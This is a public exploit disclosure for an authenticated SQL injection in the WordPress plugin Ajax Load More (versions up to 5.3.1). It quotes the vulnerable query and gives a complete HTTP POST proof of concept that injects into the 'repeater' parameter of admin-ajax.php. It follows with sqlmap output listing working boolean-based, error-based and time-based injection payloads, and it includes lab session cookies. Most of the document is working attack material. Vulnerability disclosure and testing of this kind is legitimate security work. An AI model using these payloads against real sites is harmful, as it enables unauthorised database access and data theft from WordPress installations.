WordPress Plugin Ajax Load More 5.3.1 - '#1' Authenticated SQL Injection

# Exploit Title: Wordpress Plugin Ajax Load More 5.3.1 - '#1' Authenticated SQL Injection
# Exploit Author: SunCSR (Sun* Cyber Security Research) - Nguyen Khang
# Google Dork: N/A
# Date: 2020-05-18
# Vendor Homepage: https://connekthq.com/plugins/ajax-load-more/
# Software Link: https://vi.wordpress.org/plugins/ajax-load-more/
# Version: <= 5.3.1
# Tested on: Ubuntu 18.04

Description:
A blind SQL injection vulnerability is present in Ajax load more.
$wpdb->get_var("SELECT repeaterDefault FROM " . $table_name . " WHERE name
= '$n'");

POC:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: lab-pwn.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://lab-pwn.com/wordpress/wp-admin/admin.php?page=ajax-load-more-repeaters
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 597
Origin: http://lab-pwn.com
Connection: close
Cookie:
wordpress_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cab29a771b72eed2d65f02d50fd24ea85ae85f38d0fcc41abb56797fb8c7590a3;
wordpress_logged_in_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cb14c3363c0174d9eb93e2d2bbdd3627b293ea3e8fa8a1080325f62bb462938e2;
wp-settings-time-1=1589773793; PHPSESSID=0lsvlo9il6ibjiuflljl3qcub1

action=alm_update_repeater&value=%3Cli+%3C%3Fphp+if+(!has_post_thumbnail())+%7B+%3F%3E+class%3D%22no-img%22%3C%3Fphp+%7D+%3F%3E%3E%0A+++%3C%3Fphp+if+(+has_post_thumbnail()+)+%7B+the_post_thumbnail('alm-thumbnail')%3B+%7D%3F%3E%0A+++%3Ch3%3E%3Ca+href%3D%22%3C%3Fphp+the_permalink()%3B+%3F%3E%22+title%3D%22%3C%3Fphp+the_title()%3B+%3F%3E%22%3E%3C%3Fphp+the_title()%3B+%3F%3E%3C%2Fa%3E%3C%2Fh3%3E%0A+++%3Cp+class%3D%22entry-meta%22%3E%3C%3Fphp+the_time(%22F+d%2C+Y%22)%3B+%3F%3E%3C%2Fp%3E%0A+++%3C%3Fphp+the_excerpt()%3B+%3F%3E%0A%3C%2Fli%3E&repeater='
or sleep(5)#&type=test&alias=&nonce=ae68ab8c91

SQL map:
custom injection marker ('*') found in option '--data'. Do you want to
process it? [Y/n/q]
[12:43:16] [INFO] resuming back-end DBMS 'mysql'
[12:43:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: action=alm_update_repeater&value=<li <?php if
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>
   <?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');
}?>
   <h3><a href="<?php the_permalink(); ?>" title="<?php the_title();
?>"><?php the_title(); ?></a></h3>
   <p class="entry-meta"><?php the_time("F d, Y"); ?></p>
   <?php the_excerpt(); ?>
</li>&repeater=-2104' OR 5557=5557-- dHBa#&type=test&alias=&nonce=ae68ab8c91

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: action=alm_update_repeater&value=<li <?php if
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>
   <?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');
}?>
   <h3><a href="<?php the_permalink(); ?>" title="<?php the_title();
?>"><?php the_title(); ?></a></h3>
   <p class="entry-meta"><?php the_time("F d, Y"); ?></p>
   <?php the_excerpt(); ?>
</li>&repeater=' OR (SELECT 3214 FROM(SELECT
COUNT(*),CONCAT(0x716a6b7a71,(SELECT
(ELT(3214=3214,1))),0x716a716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
AHqK#&type=test&alias=&nonce=ae68ab8c91

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: action=alm_update_repeater&value=<li <?php if
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>
   <?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');
}?>
   <h3><a href="<?php the_permalink(); ?>" title="<?php the_title();
?>"><?php the_title(); ?></a></h3>
   <p class="entry-meta"><?php the_time("F d, Y"); ?></p>
   <?php the_excerpt(); ?>
</li>&repeater=' OR SLEEP(5)-- pExJ#&type=test&alias=&nonce=ae68ab8c91
---
[12:43:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx
back-end DBMS: MySQL >= 5.0